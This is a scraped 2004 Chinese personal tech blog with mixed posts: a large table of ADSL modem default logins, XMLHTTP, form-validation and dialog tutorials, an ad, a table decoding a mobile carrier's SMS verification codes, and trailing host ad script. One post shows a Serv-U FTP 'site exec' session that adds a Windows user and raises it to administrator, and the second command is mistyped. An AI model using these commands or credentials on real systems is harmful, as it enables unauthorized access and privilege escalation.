艾玛 701g 192.168.101.1 192.168.0.1 用户名:admin 密码:admin 用户名:SZIM 密码:SZIM 艾玛701H 192.168.1.1 10.0.0.2 用户名:admin 密码:epicrouter 实达2110EH ROUTER 192.168.10.1 用户名:user 密码:password 用户名:root 密码:grouter 神州数码/华硕: 用户名:adsl 密码:adsl1234 全向: 用户名:root 密码:root 普天: 用户名:admin 密码:dare e-tek 用户名:admin 密码:12345 zyxel 用户名:anonymous 密码:1234 北电 用户名:anonymous 密码:12345 大恒 用户名:admin 密码:admin 大唐 用户名:admin 密码:1234 斯威特 用户名:root 密码:root 用户名:user 密码:user 中兴 用户名:adsl 密码:adsl831 (中兴的adsl的密码前面为adsl,后面为型号,比如中兴831,密码就是adsl831) 1、全向QL1680 IP地址10.0.0.2,用户名:admin,密码:qxcomm1680,管理员密码:qxcommsupport。全向 QL1880 IP地址192.168.1.1,用户名:root,密码:root 全向QL1688 IP地址10.0.0.2,用户名为admin;密码为qxcomm1688 2、TP-LINK TD-8800在IE输入192.168.1.1,户名admin,密码admin 3、合勤zyxel 642 在运行输入telnet 192.168.1.1 密码1234 4、Ecom ED-802EG 在IE输入192.168.1.1,用户名和密码都为root 5、神州数码6010RA,在IE输入192.168.1.1 用户名为ADSL,密码为ADSL1234 6、华为SmartAX MT800的初始IP是192.168.1.1,用户名和密码都为ADMIN,恢复默认配置的方法有两种,一种是连续按MODEM背后的RESET键三次,另一种是在配置菜单的SAVE&REBOOT里选择恢复默认配置。 7、伊泰克:IP:192.168.1.1 用户名:supervisor 密码:12345 8、华硕IP:192.168.1.1 用户名:adsl 密码:adsl1234 9、阿尔卡特 192.168.1.1 一般没有密码 10、同维DSL699E 192.168.1.1 用户名:ROOT 密码:ROOT 11、大亚DB102 192.168.1.1 用户名:admin 密码:dare 高级设置://192.168.1.1/doc/index1.htm 12、WST的RT1080 192.168.0.1 username:root password:root 13、WST的ART18CX 10.0.0.2 username:admin password:conexant username:user password:password 14、实达V3.2 root root V5.4 root grouter 15、泛德 admin conexant 16、东信Ea700 192.168.1.1用户名:空 密码:password 17、broadmax的hsa300a 192.168.0.1 username:broadmax password:broadmax 18、长虹ch-500E 192.168.1.1 username:root password:root 19、重庆普天CP ADSL03 192.168.1.1 username:root password:root 20、台湾突破EA110 RS232:38400 192.168.7.1 username:DSL psw:DSL 21、etek-td的ADSL_T07L006.0 192.168.1.1 User Name: supervisor Password: 12345 忘记密码的解决办法: 使用超级终端的Xmodem方式重写Vxworks.dlf,密码恢复成:12345 22、GVC的DSL-802E/R3A 10.0.0.2 username:admin password:epicrouter username:user password:password 23、科迈易通km300A-1 192.168.1.1 username: password:password 科迈易通km300A-G 192.168.1.1 username:root password:root 科迈易通km300A-A 192.168.1.1 username:root or admin password:123456 24、sunrise的SR-DSL-AE 192.168.1.1 username:admin password:0000 sunrise的DSL-802E_R3A 10.0.0.2 username:admin password:epicrouter username:user password:password 25、UTStar的ut-300R 192.168.1.1 username:root or admin password:utstar 这些都是一些ADSL设奋的出厂时的默认初始IP,用户名和密码,是要调试这些设奋时必须要知道的东西。 一般调试这些设奋有三种方法,一种是最常见的WEB方法,就是在浏览器中填入设奋的IP,如QX1680,就是在浏览器地址栏输入10.0.0.2,出现提示栏后,输入用户名admin,密码qxcommsupport,就可以管理员设置界面了。最常见和最简单的就是这种方法。 第二种方法就是用TELNET的方法,telnet IP,如早期的合勤642,方法telnet 192.168.1.1,然后输入密码1234,就可以进入全英文的字符界面了。 第三种方法就是用厂商自带的配置程序来进入配置界面,如CyberLink 6307/6309KG 它使用在随Cybrlink 6307/6309KG带的光盘中DSLCom.exe, 出厂时默认值:路由IP地址 :1 92.168.1.1密码 : stm,由于这种方法没有前两种方法方便,所以现在的低端产品比较少采用了。 绝大部分产品的调试都是要先通过产品自带的双绞线连接设奋后,把本机网卡的IP设置成跟该设奋同一网段,再进行配置,如设奋被改了默认的IP或者密码,大部分都可以通过复位来恢复出厂默认值。最常用也是最有用的方法就是把设奋断电后,一直按住复位键,然后通电,持续一小段时间后就可以恢中达通CT-500 192.168.1.1 root/12345 26.中兴adsl841默认IP:192.168.1.1,UserName:admin,Password:private 成都天逸 用户名:admin 密码:epicrouter 上海中达 用户名:(随意) 密码:12345 各位用ADSL的朋友,在拿到ADSL猫后,应及时修改默认密码,以免被人所利用 **************************************************************************** ADSL MODEM初始地址及用户名密码大全 要调试这些设奋,要先把网卡的IP地址设置成跟这些ADSL设奋相同的网段 1、全向QL1680在IE浏览器的地址栏里面敲入IP地址10.0.0.2,的用户名是admin出厂时默认值:密码是qxcomm1680,管理员密码是 qxcommsupport 2、全向QL1880在IE浏览器的地址栏里面敲入IP地址192.168.1.1,的用户名是root出厂时默认值:密码是root 3、全向QL1688在IE浏览器的地址栏里面敲入IP地址10.0.0.2,用户名为admin;出厂时默认值:密码为qxcomm1688 4、CyberLink 6307/6309KG 它使用在随Cyberlink6307/6309KG带的光盘中DSLCom.exe, 出厂时默认值:路由IP地址 : 192.168.1.1密码 : stm 5、TP-LINK TD-8800在IE输入192.168.1.1,户名admin,密码admin. 6、合勤zyxel 642 在运行输入telnet 192.168.1.1 密码1234,一直按住机身后面的的RESET复位键然后开机,保持几十秒就可以恢复出厂默认 值。 7、Ecom ED-802EG 在IE输入192.168.1.1,用户名和密码都为root 8、神州数码6010RA,在IE输入192.168.1.1 用户名为ADSL,密码为ADSL1234 9、华为SmartAX MT800的初始IP是192.168.1.1,用户名和密码都为ADMIN,恢复默认配置的方法有两种,一种是连续按MODEM背后的RESET键三 次,另一种是在配置菜单的SAVE&REBOOT里选择恢复默认配置。 伊泰克 http://192.168.1.1/ 用户名:supervisor 密码:12345 华硕 http://192.168.1.1/ 用户名:adsl 密码:adsl1234 阿尔卡特 http://192.168.1.1/ 一般没有密码 同维DSL699E http://192.168.1.1/ 用户名:ROOT 密码:ROOT 大亚DB102 http://192.168.1.1/ 用户名:admin 密码:dare 高级设置界面:http://192.168.1.1/doc/index1.htm WST的RT1080 http://192.168.0.1/ username:root password:root WST的ART18CX http://10.0.0.2/ username:admin password:conexant username:user password :assword 全向qxcomm1688 http://192.168.1.1/ 高端设置密码是:qxcommsuport 全向qxcomm1680 http://192.168.1.1/ 登陆ADSL的密码是:qxcomm1680 实达 V3.2 root root V5.4 root grouter 泛德 admin conexant 东信Ea700 http://192.168.1.1/ 用户名:空 密码:password broadmax的hsa300a http://192.168.0.1/ username:broadmax password:broadmax 长虹ch-500E http://192.168.1.1/ username:root password:root 重庆普天CP ADSL03 http://192.168.1.1/ username:root password:root 台湾突破EA110 RS232:38400 http://192.168.7.1/ username SL psw SL etek-td的ADSL_T07L006.0 http://192.168.1.1/ User Name: supervisor Password: 12345 忘记密码的解决办法: 使用超级终端的Xmodem方式重写Vxworks.dlf,密码恢复成:12345 GVC的DSL-802E/R3A http://10.0.0.2/ username:admin password:epicrouter username:user password assword 科迈易通km300A-1 http://192.168.1.1/ username: password assword 科迈易通km300A-G http://192.168.1.1/ username:root password:root 科迈易通km300A-A http://192.168.1.1/ username:root or admin password:123456 sunrise的SR-DSL-AE http://192.168.1.1/ username:admin password:0000 sunrise的DSL-802E_R3A http://10.0.0.2/ username:admin password:epicrouter username:user password assword UTStar的ut-300R http://192.168.1.1/ username:root or admin password:utstar 这些都是一些ADSL设奋的出厂时的默认初始IP,用户名和密码,是要调试这些设奋时必须要知道的东西。 一般调试这些设奋有三种方法,一种是最常见的WEB方法,就是在浏览器中填入设奋的IP,如QX1680,就是在 浏览器地址栏输入10.0.0.2,出现提示栏后,输入用户名admin,密码qxcommsupport,就可以管理员设置界面了。最常见和最简单的就是这种方法。 第二种方法就是用TELNET的方法,telnet IP,如早期的合勤642,方法telnet 192.168.1.1,然后输入密码1234,就可以进入全英文的字符界面了。 第三种方法就是用厂商自带的配置程序来进入配置界面,如CyberLink 6307/6309KG 它使用在随Cybrlink 6307/6309KG带的光盘中DSLCom.exe, 出厂时默认值:路由IP地址 :1 92.168.1.1密码 : stm,由于这种方法没有前两种方法方便,所以现在的低端产品比较少采用了。 绝大部分产品的调试都是要先通过产品自带的双绞线连接设奋后,把本机网卡的IP设置成跟该设奋同一网段,再进行配置,如设奋被改了默认的IP或者密码,大部分都可以通过复位来恢复出厂默认值。最常用也是最有用的方法就是把设奋断电后,一直按住复位键,然后通电,持续一小段时间后就可以恢复出厂默认值了
shelly 发表于
2004-10-11 10:33:25
shelly 发表于
2004-09-21 13:38:32
FROM : CSDN XMLHTTP对象及其方法 ------------------ MSXML中提供了Microsoft.XMLHTTP对象,能够完成从数据包到Request对象的转换以及发送任务。 创建XMLHTTP对象的语句如下: Set objXML = CreateObject("Msxml2.XMLHTTP") 或 Set objXML = CreateObject(“Microsoft.XMLHTTP”) ' Or, for version 3.0 of XMLHTTP, use: ' Set xml = Server.CreateObject("MSXML2.ServerXMLHTTP") 对象创建后调用Open方法对Request对象进行初始化,语法格式为: poster.open http-method, url, async, userID, password Open方法中包含了5个参数,前三个是必要的,后两个是可选的(在服务器需要进行身份验证时提供)。参数的含义如下所示: http-method: HTTP的通信方式,比如GET或是 POST url: 接收XML数据的服务器的URL地址。通常在URL中要指明 ASP或CGI程序 async: 一个布尔标识,说明请求是否为异步的。如果是异步通信方式(true),客户机就不等待服务器的响应;如果是同步方式(false),客户机就要等到服务器返回消息后才去执行其他操作 userID 用户ID,用于服务器身份验证 password 用户密码,用于服务器身份验证 XMLHTTP对象的Send方法 用Open方法对Request对象进行初始化后,调用Send方法发送XML数据: poster.send XML-data Send方法的参数类型是Variant,可以是字符串、DOM树或任意数据流。发送数据的方式分为同步和异步两种。在异步方式下,数据包一旦发送完毕,就结束Send进程,客户机执行其他的操作;而在同步方式下,客户机要等到服务器返回确认消息后才结束Send进程。 XMLHTTP对象中的readyState属性能够反映出服务器在处理请求时的进展状况。客户机的程序可以根据这个状态信息设置相应的事件处理方法。属性值及其含义如下表所示: 值 说明 0 Response对象已经创建,但XML文档上载过程尚未结束 1 XML文档已经装载完毕 2 XML文档已经装载完毕,正在处理中 3 部分XML文档已经解析 4 文档已经解析完毕,客户端可以接受返回消息 客户机处理响应信息 客户机接收到返回消息后,进行简单的处理,基本上就完成了C/S之间的一个交互周期。客户机接收响应是通过XMLHTTP对象的属性实现的: ● responseTxt:将返回消息作为文本字符串; ● responseXML:将返回消息视为XML文档,在服务器响应消息中含有XML数据时使用; ● responseStream:将返回消息视为Stream对象。
Set objXML = CreateObject("Microsoft.XMLHTTP") '创建XMLHTTP组件; UrlSend = "http://xxxx/ " objXML.open "GET",UrlSend,false objXML.send() ReturnVar = objXML.responseText '处理返回数据做判断!
'取得网页文件代码函数 function getHTTPPage(url) dim http set http=createobject("MSXML2.XMLHTTP") Http.open "GET",url,false Http.send() if Http.readystate<>4 then exit function end if getHTTPPage=bytes2BSTR(Http.responseBody) set http=nothing if err.number<>0 then err.Clear end function
'字节转化成字符串函数 Function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" For i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 End If Next bytes2BSTR = strReturn End Function
比如你的myurl="www.163.com " Content = getHTTPPage(myurl) 你可以response.write出content来看,然后用instr,mid,replace提炼出页面的主题
2
Function GetHTTPPage(url) '获取服务器生成的html代码 on error resume next dim XmlHttp set XmlHttp=Server.createobject("Microsoft.XMLHTTP") XmlHttp.open "GET",url,false XmlHttp.send() 'getHTTPPage=Http.responseText if XmlHttp.readystate<>4 then exit function GetHTTPPage=bytes2BSTR(XmlHttp.responseBody) set XmlHttp=nothing if err.number<>0 then err.Clear End Function
Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "GB2312" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function
3
function GetXml(Url){ try{ var XmlHttp=Server.CreateObject("Microsoft.XMLHTTP"); XmlHttp.open("get",Url,false); XmlHttp.send(); return XmlHttp.responseBody; }catch(e){return null} } function Bytes2bStr(vin){ try{ var BytesStream,StringReturn; BytesStream = Server.CreateObject("ADODB.Stream") with(BytesStream){ Type =2; Open(); WriteText(vin); Position = 0 ; Charset = "GB2312"; Position = 2; StringReturn = ReadText(); close(); } BytesStream = null return StringReturn; }catch(e){return ""} }
shelly 发表于
2004-09-14 10:02:56
呵呵。替朋友做个广告:
漏电、机械故障报警系统装置
本系统在线路或负载发生漏电时,为预防脱扣机构失灵或产品机械故障,在第一定时间内发出声光报警或发出使上级输电线路主电源开关分闸切断电源。降低事故造成的损失。 广泛应用于各种低压电器、成套开关设备、输配电系统及机电设备。适用范围广、结构简单、体积小、经济实用。
本系统已申请国家专利,专利号:524208
有意请联系:
13777725639 0577-82118468 候先生 Email: houyunren@163.com
(以上信息属广告信息,所述信息与本BLOG无关)
shelly 发表于
2004-09-11 12:16:53
花了一下午加上刚刚40分钟时间,终于把 浙江移动公司 短消息发送验证码加密码算法对照表搞定。 码表如下。
1
2
3
4
0
MD
A
w
MA
1
MT
E
x
MQ
2
Mj
I
y
Mg
3
Mz
M
z
Mw
4
ND
Q
0
NA
5
NT
U
1
NQ
6
Nj
Y
2
Ng
7
Nz
c
3
Nw
8
OD
g
4
OA
9
OT
k
5
OQ
如果再结合我上次在 phpx.com 发布的 用网易短讯网关发送短消息的代码。相信不难做出利用 浙江移动短讯发送短消息的代码。 期待中。呵呵。
shelly 发表于
2004-09-10 08:39:29
ftp>open ip Connected to ip. 220 Serv-U FTP Server v5.0 for WinSock ready... User (ip:(none)): ftpuser //输入ftp用户 331 User name okay, please send complete E-mail address as password. Password:password //密码 230 User logged in, proceed. ftp> cd winnt //进入win2k的winnt目录,如果是winxp或者是win 2003就应该为windows目录。 250 Directory changed to /WINNT ftp>cd system32 //进入system32目录 250 Directory changed to /WINNT/system32 ftp>quote site exec net.exe user cc cc /add //利用net命令添加用户。 200 EXEC command successful (TID=33). ftp>quote site exec net.exe localhost administrators cc /add //提升为超级用户
shelly 发表于
2004-08-27 12:25:01
FROM:http://blog.csdn.net/wanghr100/archive/2004/08/23/CheckForm.aspx
不管是动态网站,还是其它B/S结构的系统,都离不开表单 表单做为客户端向服务器提交数据的载体担当相当重要的角色. 这就引出了一个问题,提交的数据合法吗?摆在我们面前的问题就是验证这些数据 保证所提交的数据是合法的.所以,我们写了一个大堆的验证函数.当我们开始新的一个 项目的开发时,我们又得写一大堆的验证函数,然后再调试这一大堆的函数...
本文将介绍一种方法来提高我的代码的可重用性,提高我们的开发效率.
个人以为表单的验证应该包含两部分: 第一,判断用户输入的数据是否合法. 第二,提示用户你的数据为什么是不合法的.
所以,我们的通用表单验证函数要实现的功能就是: 第一,取得用户输入的数据GetValue(el) 第二,验证用户的数据CheckForm(oForm) IE支持自定义属性,这就是这个通用函数实现的基础 我们可以在表单元素上加入描述自身信息的属性.有点像XML吧. check属性:该属性用于存储数据合法性的正则表达式. warning属性:该性性用于存储出错误提示信息. 第三,返回有误的表单提示GoBack(el) 这三个步骤的触发事件是onsubmit,记住是return CheckForm(this) 搞错了就全功尽弃了 :) <form onsubmit="return CheckForm(this)">
写到这里,整体框架就出来了,通过取得表单元素的check属性,取得字符串,构建正则表达式.再验证其值.如果通过验证就提交,如是数据不合法则取得表单元素的warning属性,产生提示信息.并返回到该表单元素.整个的框架也比较简单. 我们要做的就是写好正则表达式!
接下来我们来分析一下所有的表单元素 按其共性,我们将它们分为三类 每类表单的特点不一样,我们的目标就是写出通用的.
1.文输入框Text <input type="text" name="txt"> <input type="password" name="pwd"> <input type="hidden" name="hid"> <input type="file" name="myfile"> <textarea name="txts"></textarea> 2.单多选框Choose <input type="checkbox" name="c"> <input type="checkbox" name="c"> <input type="radio" name="r"> <input type="radio" name="r"> 3.单多下拉菜单Select <select name="sel"></select> <select name="sels" multiple></select>
讲了一堆"大道理"太抽象了,代码更有说服力!
Check.js JS函数文件 //////////////////////////////////////////////////////////////////////////////// /* *--------------- 客户端表单通用验证CheckForm(oForm) ----------------- * 功能:通用验证所有的表单元素. * 使用: * <form name="form1" onsubmit="return CheckForm(this)"> * <input type="text" name="id" check="^\S+$" warning="id不能为空,且不能含有空格"> * <input type="submit"> * </form> * author:wanghr100(灰豆宝宝.net) * email:wanghr100@126.com * update:19:28 2004-8-23 * 注意:写正则表达式时一定要小心.不要让"有心人"有空子钻. * 已实现功能: * 对text,password,hidden,file,textarea,select,radio,checkbox进行合法性验证 * 待实现功能:把正则表式写成个库. *--------------- 客户端表单通用验证CheckForm(oForm) ----------------- */ ////////////////////////////////////////////////////////////////////////////////
//主函数 function CheckForm(oForm) { var els = oForm.elements; //遍历所有表元素 for(var i=0;i<els.length;i++) { //是否需要验证 if(els[i].check) { //取得验证的正则字符串 var sReg = els[i].check; //取得表单的值,用通用取值函数 var sVal = GetValue(els[i]); //字符串->正则表达式,不区分大小写 var reg = new RegExp(sReg,"i"); if(!reg.test(sVal)) { //验证不通过,弹出提示warning alert(els[i].warning); //该表单元素取得焦点,用通用返回函数 GoBack(els[i]) return false; } } } }
//通用取值函数分三类进行取值 //文本输入框,直接取值el.value //单多选,遍历所有选项取得被选中的个数返回结果"00"表示选中两个 //单多下拉菜单,遍历所有选项取得被选中的个数返回结果"0"表示选中一个 function GetValue(el) { //取得表单元素的类型 var sType = el.type; switch(sType) { case "text": case "hidden": case "password": case "file": case "textarea": return el.value; case "checkbox": case "radio": return GetValueChoose(el); case "select-one": case "select-multiple": return GetValueSel(el); } //取得radio,checkbox的选中数,用"0"来表示选中的个数,我们写正则的时候就可以通过0{1,}来表示选中个数 function GetValueChoose(el) { var sValue = ""; //取得第一个元素的name,搜索这个元素组 var tmpels = document.getElementsByName(el.name); for(var i=0;i<tmpels.length;i++) { if(tmpels[i].checked) { sValue += "0"; } } return sValue; } //取得select的选中数,用"0"来表示选中的个数,我们写正则的时候就可以通过0{1,}来表示选中个数 function GetValueSel(el) { var sValue = ""; for(var i=0;i<el.options.length;i++) { //单选下拉框提示选项设置为value="" if(el.options[i].selected && el.options[i].value!="") { sValue += "0"; } } return sValue; } }
//通用返回函数,验证没通过返回的效果.分三类进行取值 //文本输入框,光标定位在文本输入框的末尾 //单多选,第一选项取得焦点 //单多下拉菜单,取得焦点 function GoBack(el) { //取得表单元素的类型 var sType = el.type; switch(sType) { case "text": case "hidden": case "password": case "file": case "textarea": el.focus();var rng = el.createTextRange(); rng.collapse(false); rng.select(); case "checkbox": case "radio": var els = document.getElementsByName(el.name);els[0].focus(); case "select-one": case "select-multiple":el.focus(); } }
demo.htm 演示文件
<script language="JavaScript" src="Check.js"></script> 通用表单函数测试: <form name="form1" onsubmit="return CheckForm(this)"> test:<input type="text" name="test">不验证<br> 账号:<input type="text" check="^\S+$" warning="账号不能为空,且不能含有空格" name="id">不能为空<br> 密码:<input type="password" check="\S{6,}" warning="密码六位以上" name="id">六位以上<br> 电话:<input type="text" check="^\d+$" warning="电话号码含有非法字符" name="number" value=""><br> 相片上传:<input type="file" check="(.*)(\.jpg|\.bmp)$" warning="相片应该为JPG,BMP格式的" name="pic" value="1"><br> 出生日期:<input type="text" check="^\d{4}\-\d{1,2}-\d{1,2}$" warning="日期格式2004-08-10" name="dt" value="">日期格式2004-08-10<br> 省份: <select name="sel" check="^0$" warning="请选择所在省份"> <option value="">请选择 <option value="1">福建省 <option value="2">湖北省 </select> <br> 选择你喜欢的运动:<br> 游泳<input type="checkbox" name="c" check="^0{2,}$" warning="请选择2项或以上"> 篮球<input type="checkbox" name="c"> 足球<input type="checkbox" name="c"> 排球<input type="checkbox" name="c"> <br> 你的学历: 大学<input type="radio" name="r" check="^0$" warning="请选择一项学历"> 中学<input type="radio" name="r"> 小学<input type="radio" name="r"> <br> 个人介绍: <textarea name="txts" check="^[\s|\S]{20,}$" warning="个人介绍不能为空,且不少于20字"></textarea>20个字以上 <input type="submit"> </form>
附: Microsoft Windows脚本技术,这里有正则表达式的介绍http://www.dqcn.net/net/CSDN/Book/SCRIPT56.chm 一个很不错的正则表达式网站,里面收集了很多的正则表达式.直接拿来主义吧.http://www.regexlib.com/Default.aspx
shelly 发表于
2004-08-24 08:29:53
FROM:http://dev.csdn.net/develop/article/15/15113.shtm
showModalDialog()、showModelessDialog()方法使用详解
Javascript有许多内建的方法来产生对话框,如:window.alert(), window.confirm(),window.prompt().等。 然而IE提供更多的方法支持对话框。如:
showModalDialog() (IE 4+ 支持) showModelessDialog() (IE 5+ 支持)
window.showModalDialog()方法用来创建一个显示HTML内容的模态对话框,由于是对话框,因此它并没有一般用window.open()打开的窗口的所有属性。 window.showModelessDialog()方法用来创建一个显示HTML内容的非模态对话框。
当我们用showModelessDialog()打开窗口时,不必用window.close()去关闭它,当以非模态方式[IE5]打开时, 打开对话框的窗口仍可以进行其他的操作,即对话框不总是最上面的焦点,当打开它的窗口URL改变时,它自动关闭。而模态[IE4]方式的对话框始终有焦点(焦点不可移走,直到它关闭)。模态对话框和打开它的窗口相联系,因此我们打开另外的窗口时,他们的链接关系依然保存,并且隐藏在活动窗口的下面。
使用方法如下: vReturnValue = window.showModalDialog(sURL [, vArguments] [, sFeatures]) vReturnValue = window.showModelessDialog(sURL [, vArguments] [, sFeatures]) 参数说明: sURL 必选参数,类型:字符串。用来指定对话框要显示的文档的URL。 vArguments 可选参数,类型:变体。用来向对话框传递参数。传递的参数类型不限,包括数组等。对话框通过window.dialogArguments来取得传递进来的参数。 sFeatures 可选参数,类型:字符串。用来描述对话框的外观等信息,可以使用以下的一个或几个,用分号“;”隔开。 dialogHeight 对话框高度,不小于100px,IE4中dialogHeight 和 dialogWidth 默认的单位是em,而IE5中是px,为方便其见,在定义modal方式的对话框时,用px做单位。 dialogWidth: 对话框宽度。 dialogLeft: 距离桌面左的距离。 dialogTop: 离桌面上的距离。 center: {yes | no | 1 | 0 }:窗口是否居中,默认yes,但仍可以指定高度和宽度。 help: {yes | no | 1 | 0 }:是否显示帮助按钮,默认yes。 resizable: {yes | no | 1 | 0 } [IE5+]:是否可被改变大小。默认no。 status: {yes | no | 1 | 0 } [IE5+]:是否显示状态栏。默认为yes[ Modeless]或no[Modal]。 scroll:{ yes | no | 1 | 0 | on | off }:指明对话框是否显示滚动条。默认为yes。
还有几个属性是用在HTA中的,在一般的网页中一般不使用。 dialogHide:{ yes | no | 1 | 0 | on | off }:在打印或者打印预览时对话框是否隐藏。默认为no。 edge:{ sunken | raised }:指明对话框的边框样式。默认为raised。 unadorned:{ yes | no | 1 | 0 | on | off }:默认为no。
传入参数: 要想对话框传递参数,是通过vArguments来进行传递的。类型不限制,对于字符串类型,最大为4096个字符。也可以传递对象,例如:
test1.htm ==================== <script> var mxh1 = new Array("mxh","net_lover","孟子E章") var mxh2 = window.open("about:blank","window_mxh") // 向对话框传递数组 window.showModalDialog("test2.htm",mxh1) // 向对话框传递window对象 window.showModalDialog("test3.htm",mxh2) </script>
test2.htm ==================== <script> var a = window.dialogArguments alert("您传递的参数为:" + a) </script>
test3.htm ==================== <script> var a = window.dialogArguments alert("您传递的参数为window对象,名称:" + a.name) </script>
可以通过window.returnValue向打开对话框的窗口返回信息,当然也可以是对象。例如:
test4.htm =================== <script> var a = window.showModalDialog("test5.htm") for(i=0;i<a.length;i++) alert(a[i]) </script>
test5.htm =================== <script> function sendTo() { var a=new Array("a","b") window.returnValue = a window.close() } </script> <body> <form> <input value="返回" type=button onclick="sendTo()"> </form>
常见问题: 1,如何在模态对话框中进行提交而不新开窗口? 如果你 的 浏览器是IE5.5+,可以在对话框中使用带name属性的iframe,提交时可以制定target为该iframe的name。对于IE4+,你可以用高度为0的frame来作:例子,
test6.htm =================== <script> window.showModalDialog("test7.htm") </script>
test7.htm =================== if(window.location.search) alert(window.location.search) <frameset rows="0,*"> <frame src="about:blank"> <frame src="test8.htm"> </frameset>
test8.htm =================== <form target="_self" method="get"> <input name=txt value="test"> <input type=submit> </form> <script> if(window.location.search) alert(window.location.search) </script> 2,可以通过http://servername/virtualdirname/test.htm?name=mxh 方式直接向对话框传递参数吗? 答案是不能。但在frame里是可以的。
shelly 发表于
2004-08-24 07:48:48
郁闷~~~~~~~~~~
同样是BLOG链接,凡凡日记,胡言乱语都在。唯独我的没有了。呵呵,感觉真是有点晕~~~~~~~~~~~~~~~~
很是不明白,我在哪里得罪她了~~~~~~~~~~~~~
唉,没了就没了。
shelly 发表于
2004-08-17 12:39:44
shelly 发表于
2004-08-12 07:32:48
shelly 发表于
2004-08-09 09:54:48
呵呵,从CSDN 上看到。的确要用脑去编,也不要太拘泥于书本上的算法。
原贴如下: 例如: 8=RIGHT(100+8,2)=08 懂不懂你看着办吧
向该同志学习、致敬!
shelly 发表于
2004-08-02 07:32:26
From: http://www.w3schools.com/ado/ado_ref_stream.asp
Stream Object (ADO version 2.5)
The ADO Stream Object is used to read, write, and manage a stream of binary data or text.
A Stream object can be obtained in three ways:
From a URL pointing to a document, a folder, or a Record object
By instantiating a Stream object to store data for your application
By opening the default Stream object associated with a Record object
Syntax
objectname.property
objectname.method
Properties
Property
Description
CharSet
Sets or returns a value that specifies into which character set the contents are to be translated. This property is only used with text Stream objects (type is adTypeText)
EOS
Returns whether the current position is at the end of the stream or not
LineSeparator
Sets or returns the line separator character used in a text Stream object
Mode
Sets or returns the available permissions for modifying data
Position
Sets or returns the current position (in bytes) from the beginning of a Stream object
Size
Returns the size of an open Stream object
State
Returns a value describing if the Stream object is open or closed
Type
Sets or returns the type of data in a Stream object
Methods
Method
Description
Cancel
Cancels an execution of an Open call on a Stream object
Close
Closes a Stream object
CopyTo
Copies a specified number of characters/bytes from one Stream object into another Stream object
Flush
Sends the contents of the Stream buffer to the associated underlying object
LoadFromFile
Loads the contents of a file into a Stream object
Open
Opens a Stream object
Read
Reads the entire stream or a specified number of bytes from a binary Stream object
ReadText
Reads the entire stream, a line, or a specified number of characters from a text Stream object
SaveToFile
Saves the binary contents of a Stream object to a file
SetEOS
Sets the current position to be the end of the stream (EOS)
SkipLine
Skips a line when reading a text Stream
Write
Writes binary data to a binary Stream object
WriteText
Writes character data to a text Stream object
shelly 发表于
2004-07-29 12:06:10
贴在这里,估需时用。
<script language="javascript">
myreg=new RegExp("lycos\.co.uk","i"); if ( !myreg.test("'"+top.location+"'") ) { nwreg=new RegExp ("http://([^/]+)?(/([a-z0-9A-Z\-\_]+)?[^']+)","i "); rn=nwreg.exec("'"+self.location+"'"); if (parent.frames.length==2) { top.location="http://" + rn[1] + rn[2]; } else { top.location="http://" + rn[1] + "/" + rn[3]; } }
if(window == window.top) { var address=window.location; var s='<html><head><title>'+'</title></head>'+ '<frameset cols="*,140" frameborder="0" border="0" framespacing="0" onload="return true;" onunload="return true;">'+ '<frame src="'+address+'?" name="memberPage" marginwidth="0" marginheight="0" scrolling="auto" noresize>'+ '<frame src="http://ads.tripod.lycos.co.uk/ad/google/frame.php?_url='+escape(address)+'&gg_bg=&gg_template=&mkw=&cat=noref " name="LycosAdFrame" marginwidth="0" marginheight="0" scrolling="auto" noresize>'+ '</frameset>'+ '</html>';
document.write(s); } </script>
<空间 BODY>
</pre></xmp></noscript>
<script language="javascript" src="http://ads.tripod.lycos.co.uk/ad/test_frame_size.js"></script >
<script language="javascript"> if (!AD_clientWindowSize()) { document.write("<NOSC"+"RIPT>"); } </script>
<!-- START RedMeasure V4 - Java v1.1 $Revision: 1.11 $ --> <!-- COPYRIGHT 2000 Red Sheriff Limited -->
<script language="JavaScript"><!-- var pCid="uk_lycos-uk_0"; var w0=1; var refR=escape(document.referrer); if (refR.length>=252) refR=refR.substring(0,252)+"..."; //--></script> <script language="JavaScript1.1"><!-- var w0=0; //--></script> <script language="JavaScript1.1" src="http://lycos-eu.imrworldwide.com/a1.js "> </script> <script language="JavaScript"><!-- if(w0){ var imgN='<img src="http://lycos-eu.imrworldwide.com/cgi-bin/count?ref=' + refR+'&cid='+pCid+'" width=1 height=1>'; if(navigator.userAgent.indexOf('Mac')!=-1){document.write(imgN); }else{ document.write('<applet code="Measure.class" '+ 'codebase="http://lycos-eu.imrworldwide.com/"'+'width=1 height=2>'+ '<param name="ref" value="'+refR+'">'+'<param name="cid" value="'+pCid+ '"><textflow>'+imgN+'</textflow></applet>'); } } document.write("<COMMENT>"); //--> </script> <noscript> <img src="http://lycos-eu.imrworldwide.com/cgi-bin/count?cid=uk_lycos-uk_0 " width=1 height=1> </noscript> </COMMENT> <!-- END RedMeasure V4 -->
<script type="text/javascript"> function setCookie(name, value, expires, path, domain, secure) { var curCookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires.toGMTString() : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : ""); document.cookie = curCookie; }
var ad_url = "http://ads.tripod.lycos.co.uk/ad/google/frame.php?_url="+escape(self.location)+"&gg_bg=&gg_template=&mkw=&cat=noref "; var ref=window.document.referrer;
if(parent.LycosAdFrame) { if(parent.memberPage && parent.memberPage.document.title ) { parent.document.title=parent.memberPage.document.title; }
